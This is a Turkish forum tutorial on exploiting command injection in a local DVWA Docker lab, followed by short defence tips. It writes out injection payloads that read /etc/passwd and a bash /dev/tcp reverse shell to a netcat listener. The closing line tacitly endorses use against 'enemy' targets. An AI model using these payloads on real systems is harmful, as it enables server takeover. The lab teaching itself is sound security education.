Hoşgeldin Misafir

Tarayıcıdan Terminale: Command Injection ile Sunucuyu Ele Geçirmek

CwMuhibban

20 Ara 2025
67 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selamın aleyküm

Bu gün sizlere bir sunucuyu command injection ile ele geçirmeyi ve korunma yollarını anlatıcam

Command injection bi web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt işletim sistemi komutuna ekliyorsa oraya shell komutu yazabilirsin demek. Ping formu, ip alanı, arama kutusu, parametre vs. olabilir. Uygulama o komutu çalıştırır sunucu senin yazdığını yapar.

DOCKER VE DVWA KURULUMU

Gerçek bir sisteme değil kendi kurduğumuz zafiyetli uygulamaya test yapacağız. DVWA (Damn Vulnerable Web Application) kullanacağız. Docker ile çalışır.

Kurulum:
Kod:
sudo apt update && sudo apt install -y docker.io
sudo service docker start

DVWA'yı başlat:
Kod:
docker run --rm -d -p 80:80 vulnerables/web-dvwa

Tarayıcıdan:
Kod:
http://localhost/login.php
adresini aç.

Giriş bilgileri admin ve password.
Setup sayfasında Create - Reset Database butonuna bas.
Sonra tekrar giriş yap.

Sol menüden Command Injection sayfasına geç.

j4d3p7y.png


NORMAL KULLANIM
Input alanına 127.0.0.1 yaz Submit'e bas.
Ping çıktısı geliyor. Sunucu arka planda şunu çalıştırıyor:

Kod:
ping -c 4 127.0.0.1
Form beklenen işi yapıyor.

d2tdwu8.png


İLK PAYLOAD

Input alanına şunu yaz:
Kod:
127.0.0.1; whoami

Submit sonrası ping çıktısının altında tek satır: www-data

d9bf5zf.png


Noktalı virgül shellde "birinci komut bitti şimdi ikinciyi çalıştır" demek.
Uygulama girdini olduğu gibi komuta yapıştırdığı için iki komut oldu.

BAŞKA OPERATÖRLER

Aynı mantık farklı karakterlerle de çalışır:

"&&" birincisi başarılıysa ikinciyi çalıştırır.
"|" birincinin çıktısını ikinciye yollar.

Kod:
127.0.0.1 && id

bykurae.png


Kod:
127.0.0.1 | hostname

q1trmqd.png


Kod:
127.0.0.1; cat /etc/passwd

bdbo1zz.png


REVERSE shell

Tek tek komut göndermek yerine interaktif sh*ll alalım.

Kali'de dinleyici aç:
Kod:
nc -lvnp 4444

Burada önemli bi detay var. DVWA bi Docker containerının içinde çalışıyor.
Container kendi izole ağında çalışıyor ve 127.0.0.1 dediğinde Kaliyi değil kendini kastediyor.
Kaliye dönüp bağlanması için docker bridge ip adresini kullanman gerekir.

Şu komutla ip adresini bul:
Kod:
ip addr show docker0 | grep "inet "

Genelde 172.17.0.1 çıkar.

Tarayıcıdaki input'a şu payload'ı yapıştır:
Kod:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'

Submit'e basar basmaz nc penceresine shell düşüyor:

id komutu çalıştırınca uid=33(www-data) dönüyor. Artık sunucudayız.

COMMAND INJECTION'DAN KORUNMA​

Kullanıcı girdisini direkt sh*ll komutuna koyma.
"escapeshellarg" ile gelen veriyi kaçış karakterlerine çevir.
Mümkünse sistem komutu yerine dil içi kütüphane kullan.
En iyisi regex ile formatı sıkıca kısıtla. IP bekliyorsan sadece ip formatına izin ver gerisini reddet.

Bu konu eğitim amacı ile paylaşılmıştır kesinlikle düşman odakları hariç ve misyon haricinde kullanılmasını tavsiye etmiyorum

Burdan @CW-ommah üstada meydan okuyorum red team ve ofansif paylaşımlar ile sana meydan okuyorum hızlı olan kazanır


Allah'a emanet olun